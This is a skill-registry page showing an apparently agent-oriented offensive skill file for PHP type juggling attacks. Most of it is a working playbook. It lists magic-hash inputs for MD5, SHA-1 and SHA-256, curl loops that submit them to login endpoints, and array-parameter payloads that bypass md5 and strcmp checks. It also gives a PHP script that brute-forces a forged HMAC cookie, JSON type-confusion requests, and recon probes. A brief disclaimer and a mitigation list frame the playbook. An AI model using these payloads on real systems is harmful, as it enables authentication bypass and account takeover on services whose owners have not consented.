PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
60
71%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.mdAuthorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.
PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.
Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.
| Technique | Notes |
|---|---|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw |
| T1606.001 | Forge web credentials — force authentication with crafted hash values |
'0010e2' == '1e3' → true (both evaluate as float 1000)
'123' == 123 → true (string cast to int)
'123abc' == 123 → true (leading numeric string)
'abc' == 0 → true (non-numeric string == 0 in PHP 5/7)
'' == 0 → true
0 == false → true
false == NULL → true
NULL == '' → true
md5([]) == NULL → true (NULL == any string starting with 0e)
sha1([]) == NULL → truePHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.
When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.
| Input | MD5 Hash |
|---|---|
240610708 | 0e462097431906509019562988736854 |
QNKCDZO | 0e830400451993494058024219903391 |
0e1137126905 | 0e291659922323405260514745084877 |
0e215962017 | 0e291242476940776845150308577824 |
aabg7XSs | 0e087386482136013740957780965295 |
| Input | SHA-1 Hash |
|---|---|
10932435112 | 0e07766915004133176347055865026311692244 |
aaroZmOk | 0e66507019969427134894567494305185566735 |
aaK1STfY | 0e76658526655756207688271159624026011393 |
| Hash | Input | Output |
|---|---|---|
| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 |
| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 |
| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 |
# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.
# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
donemd5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:
# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
# POST with array notation
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"When a cookie HMAC is verified with loose comparison against "0", an attacker brute-forces an expiration timestamp until hash_hmac('md5', payload, key) produces a 0e... string — which equals "0" under ==.
This works when the key is empty or known (e.g., leaked via .env).
# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = ''; // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
$out = hash_hmac('md5', $username . '|' . $i, $key);
if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
echo "Found: expiration=$i hash=$out\n";
break;
}
}
EOF
php /tmp/find_magic_hmac.php
# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:
# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"token": 0, "user": "admin"}' \
| grep -iE "success|error|200"
# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"admin": true, "role": "admin"}' \
| grep -iE "success|error|200"# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null
# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"| Application Class | Likely Sink |
|---|---|
| Custom PHP login forms | md5($pass) == $stored |
| Token validation endpoints | strcmp($token, $secret) == 0 |
| HMAC cookie verifiers | hmac($cookie) != $supplied using == |
| Email unsubscribe links | md5($email) == $_GET['hash'] |
| Admin PIN verification | sha1($pin) == $db_hash |
'abc' == 0 → false and makes strcmp throw on array input; PHP 7 and below remain vulnerablepsalm --taint-analysis, phpstan level 8 flag loose comparisons[] for hash/strcmp parameters, observe PHP warning in response or error logs=== for hash comparisons and hash_equals() for timing-safe HMAC checks0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.